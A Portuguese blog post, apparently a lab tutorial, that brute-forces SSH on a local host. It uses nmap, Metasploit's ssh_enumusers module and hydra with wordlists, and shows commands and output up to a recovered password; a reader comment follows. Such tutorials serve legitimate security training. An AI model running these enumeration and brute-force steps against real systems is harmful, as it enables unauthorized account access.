Hoje irei passar um simples roteiro de teste de intrusão em servidores Linux, mais especificamente em serviços SSH fazendo brute force em usuários e senhas afim de identificar possíveis logins no sistema com ataques baseados em time e brute force com ataques de dicionários nas senhas dos usuários encontrados.
Vamos dar um NMAP no host alvo pra ver o tipo de informação conseguimos levantar a respeito do mesmo:
# nmap -sS -sC 192.168.0.34
root@fidelis:/home/matheus# nmap -sS -sV -sC 192.168.0.34
Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-17 11:31 BRST
Nmap scan report for 192.168.0.34
Host is up (0.00095s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
| 2048 23:e8:e2:93:f7:36:0a:83:ce:83:be:b2:3d:9f:3f:d9 (RSA)
|_ 256 92:c9:f2:42:82:a8:c9:8f:2b:28:cb:2e:12:24:80:40 (ECDSA)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
|_ 100000 2,3,4 111/udp rpcbind
MAC Address: 08:00:27:2D:7A:AC (Cadmus Computer Systems)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.66 seconds
Conseguimos identificar algumas portas e algumas versões dos serviços rodando nas portas do sistema, além de algumas informações expostas de forma desnecessária na identificação das chaves do SSH. Identificamos também a versão do serviço do SSH, no caso OpenSSH 6.0
No exemplo precisaremos fazer uso de 2 Wordlists, uma Userlist com diversos nomes de usuário e uma Passlist com possíveis senhas que utilizaremos para realizar um brute force nas senhas dos usuários que tentaremos identificar futuramente.
Vamos iniciar os serviços do PostgreSQL e abrir o console do Metasploit Framework.
# service postgresql start
# msfconsole
Iremos utilizar um módulo de brute force em usuário que funcione em limites de tempo do Metasploit, o auxiliar é o auxiliary/scanner/ssh/ssh_enumusers. Vamos seta-lo no no metasploit e listar as opções que temos que passar obrigatoriamente para o módulo.
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(ssh_enumusers) > show options
msf auxiliary(ssh_enumusers) > show options
Module options (auxiliary/scanner/ssh/ssh_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
THRESHOLD 10 yes Amount of seconds needed before a user is considered found
USER_FILE yes File containing usernames, one per line
msf auxiliary(ssh_enumusers) >
Aqui temos alguns pontos importantes a se considerar:
- RHOSTS: Iremos definir o Host que iremos testar
- RPORT: A porta do serviço, por default é a 22
- THREADS: Iremos definir o numero que Threads que irão trabalhar no ataque
- THRESHOLD: Definiremos o tempo limite que o ataque irá utilizar para reconhecer o limite dos hosts
- USERFILE: O caminho da passlist com os nomes dos usuários
Vamos configurar alguns parâmetros do modulo , setando respectivamente o IP do alvo e o userlist
msf auxiliary(ssh_enumusers) > set RHOSTS 192.168.0.34
msf auxiliary(ssh_enumusers) > set USER_FILE /home/matheus/userlist.txt
msf auxiliary(ssh_enumusers) > run
[*] 192.168.0.34:22 - SSH - Checking for false positives
[*] 192.168.0.34:22 - SSH - Starting scan
[-] 192.168.0.34:22 - SSH - User 'Administrator' not found
[-] 192.168.0.34:22 - SSH - User 'administrator' not found
[-] 192.168.0.34:22 - SSH - User 'test' not found
[-] 192.168.0.34:22 - SSH - User 'sysadmin' not found
[-] 192.168.0.34:22 - SSH - User 'asd' not found
[-] 192.168.0.34:22 - SSH - User 'cienciahacker' not found
[-] 192.168.0.34:22 - SSH - User 'root' not found
[-] 192.168.0.34:22 - SSH - User 'qwerty' not found
[-] 192.168.0.34:22 - SSH - User 'matheus' not found
[-] 192.168.0.34:22 - SSH - User 'superuser' not found
[-] 192.168.0.34:22 - SSH - User 'security' not found
[-] 192.168.0.34:22 - SSH - User 'sysadmin' not found
[-] 192.168.0.34:22 - SSH - User 'operator' not found
[+] 192.168.0.34:22 - SSH - User 'matheus' found
# hydra -l matheus -P passlist.txt 192.168.0.34 ssh -v -V
Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-17 15:58:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1656650 login tries (l:1/p:1656650), ~1617 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[INFO] Testing if password authentication is supported by ssh://192.168.0.34:22
[INFO] Successful, password authentication is supported by ssh://192.168.0.34:22
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "!root" - 1 of 1656650 [child 0]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "0" - 2 of 1656650 [child 1]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "0000" - 3 of 1656650 [child 2]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "test" - 4 of 1656650 [child 3]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "000000" - 5 of 1656650 [child 4]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "00000000" - 6 of 1656650 [child 5]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "000007" - 7 of 1656650 [child 6]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "0007" - 8 of 1656650 [child 7]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "007007" - 9 of 1656650 [child 8]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "0311" - 10 of 1656650 [child 9]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "0660" - 11 of 1656650 [child 10]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "098765" - 12 of 1656650 [child 11]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "1" - 13 of 1656650 [child 12]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "100000" - 14 of 1656650 [child 13]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "1002" - 15 of 1656650 [child 14]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "1230" - 49 of 1656652 [child 15]
[ATTEMPT] target 192.168.0.34 - login "matheus" - pass "123123" - 50 of 1656652 [child 5]
[22][ssh] host: 192.168.0.34 login: matheus password: winner
Vídeo que fiz de contribuição para o Ciência Hacker com o tema:
:)
Gostei do post.
ResponderExcluirMas vou ser sincero. Eu não se fosse fazer alguma tentativa de invasão não perderia meu tempo com brute force. Sei o quanto a hydra e poderosa, ja fiz muitos testes em meu laboratório. Mas brute force pra mim, não tem muita utilidade.